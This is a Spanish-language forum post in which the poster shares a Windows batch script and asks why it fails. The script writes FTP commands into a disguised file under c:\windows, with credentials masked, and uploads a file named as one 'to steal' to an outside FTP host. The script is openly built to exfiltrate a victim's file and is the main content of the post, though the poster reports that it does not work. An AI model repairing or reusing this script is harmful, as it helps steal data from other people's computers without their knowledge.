se que esto esta posteado miles de veces en el foro, en la parte de batch y demas, el problema es que probe de todo y no logro que me funcione!!!

alguna idea?
@echo off
echo ******* >> c:\windows\Win32el.txt
echo ******* >> c:\windows\Win32el.txt
echo PUT c:\archivo a robar.txt >> c:\windows\Win32el.txt
echo QUIT >> c:\windows\Win32el.txt
pause
ftp.exe -n -s:c:\windows\Win32el.txt ftp.freewebtown.com
exit
Carga los datos en el archivo correspondiente, por eso puse el pause, para comprobar si hasta ahi funcionaba... y de hecho lo hace.
El problema viene despues, directamente se cierra... y no hace mas nada.
Que estoy haciendo mal?? todos dicen que les funciona.. a mi no..
ya probe varios... haciendolo con dll´s y demas pero nada me anda.
pd: puedo entrar al ftp por shell sin ningun problema.
Muchas gracias!!